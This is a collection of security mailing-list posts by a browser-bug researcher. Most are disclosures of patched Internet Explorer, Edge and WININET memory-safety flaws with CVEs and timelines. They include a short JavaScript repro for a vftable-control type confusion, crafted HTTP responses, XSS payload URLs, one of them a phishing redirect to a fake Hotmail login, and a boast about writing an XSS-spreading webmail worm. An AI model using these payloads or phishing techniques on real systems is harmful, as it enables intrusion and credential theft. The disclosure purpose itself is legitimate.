MSIE 8 MSHTML SRunPointer::SpanQualifier/RunType OOB read
=
(MS15-009, CVE-2015-0050)

Synopsis

A specially crafted web-page can cause Microsoft Internet Explorer 8 to
attempt to read data beyond the boundaries of a memory allocation. The
issue does not appear to be easily exploitable.

Known affected software, attack vectors and mitigations
---
* Microsoft Internet Explorer 8

  An attacker would need to get a target user to open a specially
  crafted web-page. Disabling Javascript should prevent an attacker
  from triggering the vulnerable code path.

Description
---
The issue requires rather complex manipulation of the DOM and results in
reading a value immediately following an object. The lower three bits of
this value are returned by the function doing the reading, resulting in
a return value in the range 0-7. After exhaustively skipping over the
read AV and having that function return each value, no other side
effects were noticed. For that reason I assume this issue is hard if not
impossible to exploit and did not investigate further. It is still
possible that there may be subtle effects that I did not notice that
allow exploitation in some form or other.

Time-line
-
* *June 2014*: This vulnerability was found through fuzzing.
* *October 2014*: This vulnerability was submitted to ZDI.
* *October 2014*: This vulnerability was rejected by ZDI.
* *November 2014*: This vulnerability was reported to MSRC.
* *February 2015*: This vulnerability was addressed by Microsoft in
  MS15-009.
* *November 2016*: Details of this issue are released.

Cheers,

SkyLined


0x2557C5AA.asc
Description: application/pgp-keys


signature.asc
Description: OpenPGP digital signature

CVE-2016-3247 Microsoft Edge CTextExtractor::GetBlockText OOB read details

[Berend-Jan Wever]

Throughout November, I plan to release details on vulnerabilities I
found in web-browsers which I've not released before. This is the
fourteenth entry in that series. Unfortunately I won't be able to
publish everything within one month at the current rate, so I may
continue to publish these through December and January.

The below information is available in more detail on my blog at
http://blog.skylined.nl/20161118002.html.

Follow me on http://twitter.com/berendjanwever for daily browser bugs.

Microsoft Edge CTextExtractor::GetBlockText OOB read
=
(MS16-104, CVE-2016-3247)

Synopsis

A specially crafted web-page can cause an integer underflow in Microsoft
Edge. This causes `CTextExtractor::GetBlockText` to read data outside of
the bounds of a memory block.

Known affected software, attack vectors and mitigations
---
* Microsoft Edge 11.0.10240.16384
  An attacker would need to get a target user to open a specially
  crafted web-page. JavaScript is not necessarily required to trigger
  the issue.

Description
---
Though I did not investigate thoroughly, I did find out the following:
* The root cause appears to be an integer underflow in a 32-bit
  variable used in `CTextExtractor..GetBlockText` as an index to read a
  `WCHAR` in a string buffer. This index is decreased once too often
  and becomes -1, or a very large positive number depending on how it
  is used.
* This does not result in a crash on 32-bit systems, as an integer wrap
  causes the code to read one `WCHAR` before the start of the buffer,
  which is normally also in allocated memory.
* On 64-bit systems, the 32-bit -1 value is interpreted as 0x,
  a very large positive value. As this is an index into a `WCHAR`
  string, it gets multiplied by two and added to the start of the
  buffer to find the location of a `WCHAR` to read. This causes the OOB
  read to be around 8Gb (!!) beyond the address at which the buffer is
  allocated.
* The crash happens in code that appears to be rendering the web-page,
  which does not immediately offer an obvious way of extracting
  information using this bug.

Exploit
---
This is where it gets interesting, as the OOB read happens
approximately 0x2` bytes after the address at which the buffer
is allocated. This presents us with a problem: how to store some
information that we'd be interested in reading at such a large offset
from the original allocation?

As one might come to expect from me, I used a heap spray. But it needed
to be a special kind of heap spray as I did not want to actually have to
allocate 8Gb of RAM. However, about ten years ago (boy, time flies!) I
developed a heap spray that uses significantly less RAM than a
traditional heap spray does; in practice probably about 33% in most
cases, but theoretically much more in ideal situations. I've been
meaning to blog about it, but never found the time to do so until today:
you can read all about it here:

http://blog.skylined.nl/20161118001.html

That said, I have not actually looked at whether it is possible to
exfiltrate useful information using this bug. However, I did write a
Proof-of-Concept that attempts to make sure something is allocated in
the area where the OOB read happens. This PoC uses these heap spray
tricks to spray the heap while minimizing memory use. The
Proof-of-Concept uses about ~5.3Gb to allocate the memory at around 8Gb
distance from the buffer (up to ~10Gb to be sure). When you load the PoC
in a 64-bit version of Edge, you may notice that, unlike the original
repro, it will not crash Edge (even though it does trigger the
issues): the heap spray has allocated the memory that the out-of-bounds
read accesses, and this prevents an access violation exception.
Refreshing the page is likely to screw up the precise allocation process
needed and will probably cause a crash.

This proves that it is theoretically possible to allocate information at
the address used by the code. All that is left is prove that the
information read by the code can be exfiltrated somehow, and you have a
working exploit. This is left as an exercises to the reader.

Time-line
-
* June 2016: This vulnerability was found through fuzzing.
* June 2016: This vulnerability was submitted to ZDI and iDefense.
* July 2016: This vulnerability was acquired by ZDI.
* September 2016: This vulnerability was addressed by Microsoft in
  MS16-104.
* November 2016: Details of this issue are released.

Cheers,

SkyLined


0x2557C5AA.asc
Description: application/pgp-keys


signature.asc
Description: OpenPGP digital signature

CVE-2015-2482 MSIE 8 jscript RegExpBase::FBadHeader use-after-free details

[Berend-Jan Wever]

Throughout November, I plan to release details on vulnerabilities I
found in web-browsers which I've not released before. This is the
twelfth entry in that series. Unfortunately I won't be able to publish
everything within one month at the current rate, so I may continue to
publish these through December and January.

The below information is available in more detail on my blog at
http://blog.skylined.nl/20161116001.html.

Follow me on http://twitter.com/berendjanwever for daily browser bugs.

MSIE 8 jscript RegExpBase::FBadHeader use-after-free

(MS15-018, CVE-2015-2482)

Synopsis

A specially crafted web-page can cause the Javascript engine of
Microsoft Internet Explorer 8 to free memory used for a string. The code
will keep a reference to the string and can be forced to reuse it when
compiling a regular expression.

Known affected software, attack vectors and mitigations
---
* Microsoft Internet Explorer 8
  An attacker would need to get a target user to open a specially
  crafted web-page. Disabling Javascript should prevent an attacker
  from triggering the vulnerable code path.

Description
---
Recompiling the regular expression pattern during a replace can cause
the code to reuse a freed string, but only if the string is freed from
the cache by allocating and freeing a number of strings of certain size,
as explained by Alexander Sotirov in his Heap Feng-Shui presentation.

Exploit
---
Exploitation was not investigated.

Time-line
-
* *March 2015*: This vulnerability was found through fuzzing.
* *March 2015*: This vulnerability was submitted to ZDI.
* *April 2015*: This vulnerability was acquired by ZDI.
* *October 2015*: Microsoft addressed this issue in MS15-018.
* *November 2016*: Details of this issue are released.

Cheers,

SkyLined


0x2557C5AA.asc
Description: application/pgp-keys


signature.asc
Description: OpenPGP digital signature

CVE-2015-0040: Microsoft Internet Explorer 11 MSHTML CMapElement::Notify use-after-free details

[Berend-Jan Wever]

Throughout November, I plan to release details on vulnerabilities I
found in web-browsers which I've not released before. This is the
tenth entry in that series.

The below information is available in more detail on my blog at
http://blog.skylined.nl/20161114001.html.

Follow me on http://twitter.com/berendjanwever for daily browser bugs.

Microsoft Internet Explorer 11 MSHTML CMapElement::Notify use-after-free

(MS15-009, CVE-2015-0040)

Synopsis

A specially crafted web-page can cause MSIE 11 to interrupt the handling
of one `readystatechange` event with another. This interrupts a call to
one of the various `CElement::Notify` functions to make
another such call and at least one of these functions is non-reentrant.
This can have various repercussions, e.g. when an attacker triggers this
vulnerability using a `CMapElement` object, a reference to that object
can be stored in a linked list and the object itself can be freed. This
pointer can later be re-used to cause a classic use-after-free issue.


Known affected versions, attack vectors and mitigations
---
* Microsoft Internet Explorer 11
  An attacker would need to get a target user to open a specially
  crafted web-page. Disabling JavaScript should prevent an attacker from
  triggering the vulnerable code path.

Description
---
When a `DocumentFragment` containing an applet element is added to the
DOM, all elements receive a notification that they are removed from the
`CMarkup`. Next, they are added to the DOM and receive notification of
being added to another `CMarkup`. When the applet is added, a
`CObjectElement` is created and added to the `CMarkup`. This causes a
`readystatechange` event to fire, which interrupts the current code.
During this `readystatechange` event, the DOM may be modified, which
causes further notifications to fire. However, elements in the
`DocumentFragment` that come after the applet element have already
received a notification that they have been remove from one `CMarkup`,
but not that they have been added to the new one. Thus, these elements
may receive another notification of removal, followed by two
notifications of being added to a `CMarkup`.

AFAICT, this event-within-an-event itself is the root cause of the bug
and allows memory corruption in various ways. I discovered the issue
because the code in `CMapElement::Notify` is non-reentrant and does not
handle this sequence of events well. This code maintains a singly linked
list of map elements that have been added to the document. An object
should never be added to this list twice, as this will cause a loop in
the list (a map element pointing to itself as the next in
the list). However, the event-within-an-event can be used to first cause
two consecutive calls to remove the same element from this list followed
by two calls to add the same element to the list. This results in the
following sequence of events:

* The first call to remove the element will remove it from the list.
* The second call to remove the element will do nothing.
* The first call to add the element will add it to the list.
* The second call to add the element will try to add it to the list
  again,  causing the list to contain a loop. This list is now corrupt.

At this point, an attacker can remove the `CMapElement`, causing the
code to try to remove it from the list and free it. However, because of
the loop in the list, the above code will not actually remove it from
the list. After this, the pointer in the list points to freed memory and
an attacker can force MSIE to reuse it.

Time-line
-
* *September 2014*: This vulnerability was found through fuzzing.
* *September 2014*: This vulnerability was submitted to ZDI.
* *September 2014*: This vulnerability was acquired by ZDI.
* *February 2015*: Microsoft address this issue in MS15-009.
* *November 2016*: Details of this issue are released.

Cheers,

SkyLined


0x2557C5AA.asc
Description: application/pgp-keys


signature.asc
Description: OpenPGP digital signature

WININET CHttpHeaderParser::ParseStatusLine out-of-bounds read details

[Berend-Jan Wever]

Throughout November, I plan to release details on vulnerabilities I
found in web-browsers which I've not released before. This is the
eight entry in that series, although this particular vulnerability does
not just affect web-browsers, but all applications that use WININET to
make HTTP requests.

The below information is available in more detail on my blog at
http://blog.skylined.nl/20161110001.html. There you can find a repro
that triggered this issue in addition to the information below.

Follow me on http://twitter.com/berendjanwever for daily browser bugs.

WININET CHttpHeaderParser::ParseStatusLine out-of-bounds read
=
(MS16-105, CVE-2016-3325)

Synopsis

A specially crafted HTTP response can cause the `CHttpHeaderParser::
ParseStatusLine` method in WININET to read data beyond the end of a
buffer. The size of the read can be controlled through the HTTP
response. An attacker that is able to get any application that uses
WININET to make a request to a server under his/her control may be able
to disclose information stored after this memory block. This includes
Microsoft Internet Explorer.

Known affected versions, attack vectors and mitigations
---
* WININET.dll
  The issue was first discovered in pre-release Windows 10
  fbl_release.140912-1613, which contained WININET.DLL version
  11.00.9841.0.   This vulnerability appears to have been present in
  all versions of Windows 10 since, up until the issue was addressed in
  August 2016. As far as I can tell WININET is widely used by Microsoft
  applications to handle HTTP requests. All these applications may be
  vulnerable to the issue, though it may be hard to exploit in most (if
  not all). No mitigations against the issue are known.

* Microsoft Internet Explorer
  XMLHttpRequest can be used to trigger this issue - I have not tried
  other vectors. To exploit the vulnerability, Javascript is most
  likely required, so disabling Javascript should mitigate it.

* Microsoft Edge
  XMLHttpRequest can be used to trigger this issue - I have not tried
  other vectors. To exploit the vulnerability, Javascript is most
  likely required, so disabling Javascript should mitigate it.

* Microsoft Windows Media Player
  Opening a link to a media file on a malicious server can be used to
  trigger the issue.

Description
---
When WININET is processing a `HTTP 100` response, it expects another
HTTP response to follow. WININET stores all data received from the
server into a buffer, uses a variable to store an index into this buffer
to track where it is currently processing data, and uses another
variable to store the length of the remaining data in the buffer.

When processing the headers of the `HTTP 100` request, the code updates
the index correctly, but does not decrement the length variable. When
the code processes the next request, the length variable is too large,
which can cause the code to read beyond the end of the data received
from the server. This may cause it to parse data stored in the buffer
that was previously received as part of the current HTTP response, and
can even cause it to do the same for data read beyond the end of the
buffer. This can potentially lead to information disclosure.

The larger the `HTTP 100` response is, the more bytes the code reads
beyond the end of the data. Here are some example responses and their
effect:

  "HTTP 100\r\n\r\nX" (12 bytes in HTTP 100 response)
=> read "X" and the next 11 bytes in memory as the next response.
  "HTTP 100\r\n\r\n" (12 bytes in HTTP 100 response)
=> read "" and the next 8 bytes in memory as the next response.
  "HTTP 100XXX\r\n\r\nX" (15 bytes in HTTP 100 response)
=> read "X" and the next 14 bytes in memory as the next response.
  "HTTP 100XXXXXX\r\n\r\nX..." (N bytes in HTTP 100 response)
=> read "X" and the next (N-1) bytes in memory as the next response.

Exploit
---
This issue is remarkably similar to [an issue in HTTP 1xx response
handling I found in Google
Chrome][https://code.google.com/p/chromium/issues/detail?id=299892] a
while back. That issue allowed disclosure of information from the main
process' memory through response headers. I attempted to leak some data
using this vulnerability by using the following response:

  "HTTP 100XXXXXX\r\nHTTP 200 X"

I was hoping this would cause the OOB read to save data from beyond the
end of the `HTTP 200` reponse in the `statusText` property of the
`XMLHttpRequest`, but I did not immediately see this happen; all I got
was "OK" or an empty string.

Unfortunately, I did not have time to reverse the code and investigate
further myself. All VCPs I submitted the issue to rejected it because
they though it was not practically exploitable.

Time-line
-
* October 2014: This vulnerability was found through fuzzing.
* October-November 2014: This vulnerability was submitted to ZD

MSIE 9-11 MSHTML PROPERTYDESC::HandleStyleComponentProperty OOB read details

[Berend-Jan Wever]

Throughout November, I plan to release details on vulnerabilities I
found in web-browsers which I've not released before. This is the
seventh entry in that series.

The below information is available in more detail on my blog at
http://blog.skylined.nl/20161109001.html. There you can find a repro
that triggered this issue in addition to the information below.

Follow me on http://twitter.com/berendjanwever for daily browser bugs.

MSIE 9-11 MSHTML PROPERTYDESC::HandleStyleComponentProperty OOB read

(MS16-104, CVE-2016-3324)

Synopsis

A specially crafted web-page can cause Microsoft Internet Explorer to
assume a CSS value stored as a string can only be `"true"` or `"false"`.
To determine which of these two values it is, the code checks if the
fifth character is an `'e'` or a `"\0"`. An attacker that is able to set
it to a smaller string can cause the code to read data out-of-bounds and
is able to determine if a `WCHAR` value stored behind that string is
`"\0"` or not.

Known affected versions, attack vectors and mitigations
---
* MSIE 9-11 (earlier versions were not tested)

  An attacker would need to get a target user to open a specially
  crafted webpage. Disabling JavaScript should prevent an attacker from
  triggering the vulnerable code path.

Description
---
Certain code that handles CSS properties in MSIE assumes that the
property value is always a string set to either `"true"` or `"false"`.
To determine which of these two values it is, the code checks if the
fifth character is `'\0'`. However, it is possible to set such values to
arbitrary strings, including a smaller string. This causes the code to
read beyond the end of the string and allows an attacker to determine if
an WORD stored after the string is `'\0'`.

The vulnerable code is in
`MSHTML!PROPERTYDESC::HandleStyleComponentProperty`.
This code is heavily branched to handle various types of CSS properties.
Luckily, the type being exploited is one of the first to be handled. The
code appears to assume that the value is provided as a pointer to a
`BSTR` which will always have a `WCHAR` at offset +8 that may be `'\0'`
or not. If this `WCHAR` is not `'\0'`, a CSS property is set to a
certain value, otherwise it is set to an empty string. As long as this
`BSTR` is always either be `"true"` or `"false"`, this code works as
expected. However, it is possible to provide an arbitrary value for this
`BSTR`, which can be shorter than 4 `WCHARs`. This would causing the
code to read a `WCHAR` outside of the memory used to store that `BSTR`.

Known properties of the type that leads to the vulnerable code path
include `textDecorationBlink`, `textDecorationLineThrough`,
`textDecorationLineNone`, `textDecorationOverline`, and
`textDecorationUnderline`.

Exploit
---
The value of a CSS property is updated based on the value of the fifth
`WCHAR`, and this CSS property can be read from Javascript to determine
if this `WCHAR` was `'\0'` or not. This allows a limited form of
information disclosure. During my testing, I used the
`textDecorationBlink` property, which can be used to set the CSS
`text-decoration` property to `"blink"` or an empty string.

Using Heap-Feng Shui, it may be possible to reuse memory allocated for
other strings that have since been freed and determine if they had a
`'\0'` `WCHAR` as their fifth character. This includes strings to should
normally not be accessible to the website, such as those from a
different origin. Also using Heap Feng-Shui, it may be possible to
allocate some interesting object immediately following the string, in
order to determine if a `WORD` at the start of that object is 0 or not.

Time-line
-
* Februari 2016: This vulnerability was found through fuzzing.
* Februari 2016: This vulnerability was submitted to ZDI, iDefense
  and EIP.
* March-July 2016: ZDI, iDefense and EIP all either reject the
  submission or fail to respond.
* July 2016: This vulnerability was reported to Microsoft with a
  60-day deadline to address the issue.
* August 2016: Microsoft is granted an 11 day extension to the
  deadline to address it in September's Patch Tuesday.
* September 2016: The vulnerability was address by Microsoft in
  MS16-104.

Cheers,

SkyLined


0x2557C5AA.asc
Description: application/pgp-keys


signature.asc
Description: OpenPGP digital signature

Microsoft Internet Explorer 9 MSHTML CAttrArray use-after-free details

[Berend-Jan Wever]

Throughout November, I plan to release details on vulnerabilities I
found in web-browsers which I've not released before. This is the first
entry in that series.
The below information is also available on my blog at
http://blog.skylined.nl/20161101001.html. There you can find a repro
that triggered this issue in addition to the information below.
Follow me on twitter.com/berendjanwever for daily browser bugs.

MSIE 9 MSHTML CAttrArray use-after-free
===
(MS14-056, CVE-2014-4141)

Synopsis

A specially crafted webpage can cause Microsoft Internet Explorer to
reallocate a memory buffer in order to grow it in size. The original
buffer will be copied to newly allocated memory and then freed. The code
continues to use the freed copy of the buffer.

Known affected versions, attack vectors and mitigations
---
+ Microsoft Internet Explorer 9

  An attacker would need to get a target user to open a specially
  crafted webpage. Disabling JavaScript should prevent an attacker from
  triggering the vulnerable code path.

Analysis

The CAttrArray object initially allocates a CImplAry buffer of 0x40
bytes, which can store 4 attributes. When the buffer is full, it is
grown to 0x60 bytes. A new buffer is allocated at a different location
in memory and the contents of the original buffer is copied there. The
repro causes the code to do this, but the code continues to access the
original buffer after it has been freed.

Exploit
---
If an attacker was able to cause MSIE to allocate 0x40 bytes of memory
and have some control over the contents of this memory before MSIE
reuses the freed memory, there is a chance that this issue could be used
to execute arbitrary code. I did not attempt to write an exploit for
this vulnerability myself.

Timeline

* April 2014: This vulnerability was found through fuzzing.
* July 2014: This vulnerability was submitted to [ZDI][].
* July 2014: ZDI reports a collision with a report by another
  researcher. (From the credits given by Microsoft and ZDI, I surmise
  that it was Peter 'corelanc0d3r' Van Eeckhoutte of Corelan who
  reported this issue.
* October 2014: Microsoft release MS14-056, which addresses this issue.
* November 2016: Details of this issue are released.


Cheers,

SkyLined

Magic values in 32-bit processes on 64-bit OS-es and how to exploit them

[Berend-Jan Wever]

(You can read all this information in more detail on
http://blog.skylined.nl)

Software components such as memory managers often use magic values to
mark memory as having a certain state. These magic values can be used
during debugging to determine the state of the memory, and have often
(but not always) been chosen to coincide with addresses that fall
outside of the user-land address space on 32-bit versions of the
Operating System. This can help detect vulnerabilities by causing an
access violation when such magic value is used as a pointer as well as
mitigate exploitation of such vulnerabilities by making it impossible to
have this "poisoned" pointer refer allocated memory under the attacker's
control.

For instance, Microsoft's C++ debugging runtime library initializes
stack memory to 0x. When an uninitialized object pointer is used
to read the value of a property or call a method of the object, this
reliably causes an access violation on 32-bit versions of Microsoft
Windows and prevents an easy path to exploitation.

The Wikipedia article on magic values has a list containing some of the
values and when they are used. You will notice how all of the values
used on Windows have their high bit set (i.e. >= 0x8000). As explain
earlier, this is because on 32-bit versions of Windows these addresses
cannot be used to allocate memory in user-land by default. Windows does
have a /3GB switch that allows you to change the upper limit for
user-land memory to 0xC000, but AFAIK this is not used very often
and still excludes a large number of magic values.

Magic values on 64-bit OS-es

On 64-bit architectures, there is no need to reserve part of the 32-bit
address space for kernel memory. Consequently, a 32-bit applications
running on 64-bit versions of Windows is able to allocate memory in
almost the entire 32-bit address range. This allows 32-bit applications
to allocate more memory, including at all addresses that these magic
values can reference. Ever since their introduction over 10 years ago,
Javascript heap-sprays in web-browsers in particular offers an attacker
the ability to finely control memory allocations and their content for
use in exploits.

Proof-of-Concept

Last year I stumbled upon a two different bugs in two different web
browsers where a magic value was used to mark memory which had not yet
been initialized. Both vulnerabilities allowed me to get the web
browsers to use the memory as a pointer before initializing it to a sane
value. using Javascript, I was able to allocate memory at the magic
value address the web browsers ended up using and store information at
this location that allowed me to exploit both of these two
vulnerabilities. These issues have both been address, so I can discuss
them in more detail.

CVE-2014-1592 Firefox xul.dll!nsHtml5TreeOperation use of poisoned memory

Mozilla 1088635 
covers a bug in Firefox that could it to use data from a freed and
"poisoned" object through specially crafted HTML, which resulted in
access violations around address |0x5a5a5a5a| on x86 systems. The memory
used to back the object was marked with this magic value after it was
freed. Because this magic value resulted in an address can be allocated
even on 32-bit versions of Windows, I suggested in Mozilla 1182002
 that the value
get updated with something that makes it a little harder to exploit.
This and other reasons for changing the magic values, led to magic
values being changed to |0xe4e4e4e4| for uninitialized memory and
|0xe5e5e5e5| for freed memory.

verifier!AVrfDebugPageHeapAllocate incorrect memory initialization a.k.a
Google Chrome use of uninitialized FLS pointer

In August last year, I found what appear to be a thread-safety
vulnerability in Google Chrome when handling audio data, that could lead
to use of an uninitialized pointer. This issue is only visible when
running Chrome with page heap enabled, as the memory used to store the
pointer appears to be set to 0x after allocation when page heap
is not enabled. This means this NULL pointer will not be used by the
code to reference memory. However, when running Chrome with page heap
enabled, the pointer will be initialized to 0xD0D0D0D0 and gets used in
code that allows at least freeing of arbitrary memory pointers.

After doing a more thorough analysis, Ricky Zhou explained to me in the
Chromium bug
 that the
issue is not in Chromium, but in |verifier.dll|. This DLL is used to
implement page heap on Windows. The problem is that in
|verifier!AVrfDebugPageHeapAllocate|, the |HEAP_ZERO_MEMORY| flag is
sometimes ignored, which in this case caused the memory to get
initialized with the wrong value. I reported this issue to Microsoft at
the end of October last year and after getting the MSRC case number
31596, I never heard back from them again.

Mit

CVE-2016-0199 / MS16-063: MSIE 11 garbage collector attribute type confusion

[Berend-Jan Wever]

CVE-2016-0199 / MS16-063: MSIE 11 garbage collector attribute type confusion

This information is available in an easier to read format on my blog at
http://blog.skylined.nl/

With [MS16-063] Microsoft has patched [CVE-2016-0199]: a memory
corruption bug
in the garbage collector of the JavaScript engine used in Internet
Explorer 11.
By exploiting this vulnerability, a website can causes this garbage
collector
to handle some data in memory as if it was an object, when in fact it
contains
data for another type of value, such as a string or number. The garbage
collector code will use this data as a virtual function table (vftable)
in order
to make a virtual function call. An attacker has enough control over
this data
to allow execution of arbitrary code.

Known affected software and attack vectors
--
+ **Microsoft Internet Explorer 11** (all versions before the June 2016
patch)

  An attacker would need to get a target user to open a specially crafted
  webpage. Disabling JavaScript should prevent an attacker from
triggering the
  vulnerable code path.

Repro
-
I've created two separate html files that can be used to reproduce this
issue
and shows control over a 32-bit vftable pointer in x86 versions of MSIE or a
partial control over a 64-bit vftable pointer in x64 versions.

HTML



  oElement = document.createElement("IMG");
  var oAttr = document.createAttribute("loop");
  oAttr.nodeValue = oElement;
  oElement.loop = 0x41424344; // Set original value data to 44 43 42 41
  oElement.setAttributeNode(oAttr); // Replace oElement with original
value data
  oElement.removeAttributeNode(oAttr);
  CollectGarbage(); // Use original value data as address 0x41424344 of
a vftable


(I've had to use xcript rather than script because Gmail refused to send it
otherwise, see https://support.google.com/mail/answer/6590 for the reason.)

Description
---
When `setAttributeNode` is used to set an attribute of a HTML element,
and the
`Attr` node's `nodeValue` is not a valid value, this `nodeValue` is set
to the
value the attribute had before the call. This can happen for instance
when you
try to set an attribute that must have a string or number value by using an
`Attr` node with a HTML element as its `nodeValue` (as this is not a
string or
number). The HTML element in `nodeValue` is replaced with the string or
number
value the attribute had before the call to `setAttributeNode`.

If the `Attr` node is then removed using `removeAttributeNode` and the
garbage
collector runs, the code appears to assume the nodeValue still contains an
object, rather than the string or number it has been changed into. This
causes
the code to use the data for the string or number value as if it was a C++
object. It attempts to determine a function pointer for a method from the
object's virtual function table before calling this function using the
pointer.

If the previous value is a string, the character data from the string is
used
to calculate the function pointer. If the previous value is a number,
the value
of the number is used. This provides an attacker with a large amount of
control
over the function pointer and may allow execution of arbitrary code.

Scanner
---
I build a "scanner" to analyze this issue and help create two
proof-of-concept
files that show control over the vftable pointer. More details and the
source
for these can be found on my blog at http://blog.skylined.nl.

Cheers,

SkyLined

Microsoft Edge CDOMTextNode::get_data type confusion

[Berend-Jan Wever]

Hey,

Last Tuesday, Microsoft fixed a security issue in Microsoft Edge that I
was aware of, but had not had time to report. (i.e. I was waiting for
vulnerability contributor programs to look over my analysis and make me
an offer for the information). Since this issue has been fixed, I have
published my analysis on my blog
 at
http://blog.skylined.nl/20160310001.html.

In short: Specially crafted Javascript inside an HTML page can trigger a
type confusion bug in Microsoft Edge that allows accessing a C++ object
as if it was a BSTR string. This can result in information disclosure,
such as allowing an attacker to determine the value of pointers to other
objects and/or functions. This information can be used to bypass ASLR
mitigations. It may also be possible to modify arbitrary memory and
achieve remote code execution, but this was not
investigated.

Cheers,

SkyLined

CVE-2015-0061 and CVE-2015-0063 (MS16-009/MS16-011)

[Berend-Jan Wever]

Hello everyone,

I've recently released examples on twitter of how to trigger two
security vulnerabilities in Microsoft Internet Explorer. These issue
were discovered last year and reported to Microsoft through ZDI.
Microsoft release security updates to address these issues last Tuesday.

CVE-2016-0061:
https://twitter.com/berendjanwever/status/697819335574843394

CVE-2016-0063:
https://twitter.com/berendjanwever/status/697818121835581441

Both were found through fuzzing inspired by Michal Zalewski's cross_fuzz
http://lcamtuf.blogspot.nl/2011/01/announcing-crossfuzz-potential-0-day-in.html

Cheers,

SkyLined

Re: Microsoft IE 6&7 Crash Exploit

[Berend-Jan Wever]

Wow, a *crash exploit*!!! Amazing!!! How on earth did you discover it!?!?

Berend-Jan Wever 
http://skypher.com/SkyLined


On Tue, Jan 26, 2010 at 12:35 PM,  wrote:
>
> #
> # Securitylab.ir
> #
> # Application Info:
> # Name: Microsoft IE
> # Version: 6 & 7
> # Tested on : XP(SP1/SP2/SP3)
> #
> # Vulnerability Info:
> # Type: Crash
> # Risk: Medium
> #
> Vulnerability:
>
> IE.html
> document.createElement("html").outerHTML
> #
> # Discoverd By: Pouya Daneshmand
> # Website: http://securitylab.ir
> # Contacts: info[at]securitylab.ir & whh_i...@yahoo.com
> ###

Re: Advanced application-level OS fingerprinting

[Berend-Jan Wever]

Interesting,

I created a quick and dirty PoC for Windows:
http://skypher.com/SkyLined/download/xmlHttpFingerprint/xmlHttpFingerprint.cmd

I've not tested it on many systems, so results may vary. It seems to
work well enough though...

Cheers,

SkyLined


Berend-Jan Wever <[EMAIL PROTECTED]> http://skypher.com

Re: Tornado www-server v1.2: directory traversal, buffer overflow

[Berend-Jan Wever]

I've done a quick debugging session: The overflow does not seem exploitable
other then a DoS.
What happens is that there is not enough heap to hold the long strings so it
writes past the heap to a location where no memory is allocated. This will
cause an unhandled exception.

Kind regards,

Berend-Jan Wever.

- Original Message - 
From: "D4rkGr3y" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>
Sent: Friday, May 30, 2003 1:09
Subject: Tornado www-server v1.2: directory traversal, buffer overflow

>  This server is one BiG problem. IMHO is most dangerous server.
>  Main bug in DNA ;D Attacker may see any files in system (but
>  only if he know path and filename), may crash server (and exec
>  malicious code) by sending long http request. Examples:
>
>  www.server.com/../existing_file   <-file be showed
>
>  www.server.com/aa[more than 471 chars]
> |  |
> #--#
> | Exploit: |
>   
>
>  Naah, its not interesting. Lets authors code something better.

Re: Opentype font file causes Windows to restart.

[Berend-Jan Wever]

Nope, I tried this: read
http://msdn.microsoft.com/library/default.asp?url=/workshop/author/dhtml/ref
erence/properties/fontface.asp

Embeded fonts are of a different filetype (eot or ote)
Maybe the same bug can be embedded in this filetype, but you'd first have to
figure out what's triggering this and reproduce it in a eot or ote file.

Berend-Jan Wever

- Original Message -
From: "dildog" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Tuesday, January 07, 2003 5:37
Subject: Re: Opentype font file causes Windows to restart.


>
> I suppose that IE's 'automatic font download' support (which is on by
> default) would exacerbate this problem, correct?
>
> --dil
>
>

Re: XSS bug in hotmail login page

[Berend-Jan Wever]

If you can't get spaces in, escape them:
eval(unescape("alert('spaces%20wherever%20you%20want');"));
You can encode any character you want this way.

I have some papers on XSS bugs and their implications and some tips, tricks
and tools online at my website. Might be interresting for all you wannabe
XSS-hackers and anybody who has a website or webbase application to secure
from XSS. http://spoor12.edup.tudelft.nl/

Impact for the hotmail XSS: I wrote a hotmail virus a few months back. It's
written in javascript and it abuses XSS bugs to spread itself to all people
in your addressbook & inbox. It works like a charm on IE and Netscape
(probably Mozilla too). It infects yahoo too (using another, yet
undisclosed, XSS bug in yahoo). I was working on a port to mail.com but got
bored.
Combine this mass-mailer worm with the recent "download and execute any
file" bugs for IE by Jelmer and friends and you've got another mass-mailin',
backdoorin', script-kiddie virus. Only this time it's not just for Outlook
but for any javascript capable browser(!)

So, Amongst the known security problems XSS poses, you can now add that XSS
bugs can lead to infection with a virus and/or a backdoor. (I hope you're
not reading this with webbased hotmail or yahoo ;)

Berend-Jan Wever
<[EMAIL PROTECTED]>

http://spoor12.edup.tudelft.nl/

0x0dd31337 - you know who you are ;)

- Original Message -
From: "Muhammad Faisal Rauf Danka" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Tuesday, October 08, 2002 14:11
Subject: Re: XSS bug in hotmail login page


> A lot can happen for sure, but i tried one myself, to redirect the request
to some other webpage.
> One can make a fake hotmail page asking for password storing it locally in
a text file and then again redirect to the original hotmail page.
> Usint this method one could steal passwords of hotmail/MSN users.
> We have all see previously people making hotmail looking page, asking you
to first login through it, or asking you to send your login/pass along with
the login name with the person you want to get hacked (all nasty scams like
that).
> Now if it is not fixed they will have an easy way to trick them by asking
them to visit hotmail new policy at :
>
>
http://lc2.law5.hotmail.passport.com/cgi-bin/login?_lang=&id=2&fs=1&cb=";>location.replace("http://www.ownhomepage.com/frames/hotmailfake.html";);
&ct=1033054530&_setlang=
>
> And then have a fake setup to trick them entering their passwords at:
> http://www.ownhomepage.com/frames/hotmailfake.html
>
>
> Regards
> 
> Muhammad Faisal Rauf Danka
>
> Head of GemSEC / Chief Technology Officer
> Gem Internet Services (Pvt) Ltd.
> web: www.gem.net.pk
> Key Id: 0x784B0202
> Key Fingerprint: 6F8C EDCF 6C6E 06A5 48D7 6A20 C592 484B
> 784B 0202
>
> _
> ---
> [ATTITUDEX.COM]
> http://www.attitudex.com/
> ---
>
> _
> Select your own custom email address for FREE! Get [EMAIL PROTECTED] w/No
Ads, 6MB, POP & more! http://www.everyone.net/selectmail?campaign=tag

CSS in blackboard

[Berend-Jan Wever]

Product: Blackboard 5
Vendor: Blackboard inc
Website: www.Blackboard.com

Reported: 24 apr 2002: Discovered CSS in blackboard program and 
company.blackboard.com. Reported CSS in blackboard program at 
http://company.blackboard.com/contactus/Suggestions.cgi.
Reported CSS in company.blackboard.com to [EMAIL PROTECTED]

Problem: Blackboard 5 contains multiple input validation errors, 
exploitable with Cross-site scripting, an example: http://
[server]/bin/login.pl?course_id="><SCRIPT>alert()</SCRIPT>
The people at Blackboard seem not to have a clue about CSS and have 
therefore almost totally forgotten to check the user input against illegal 
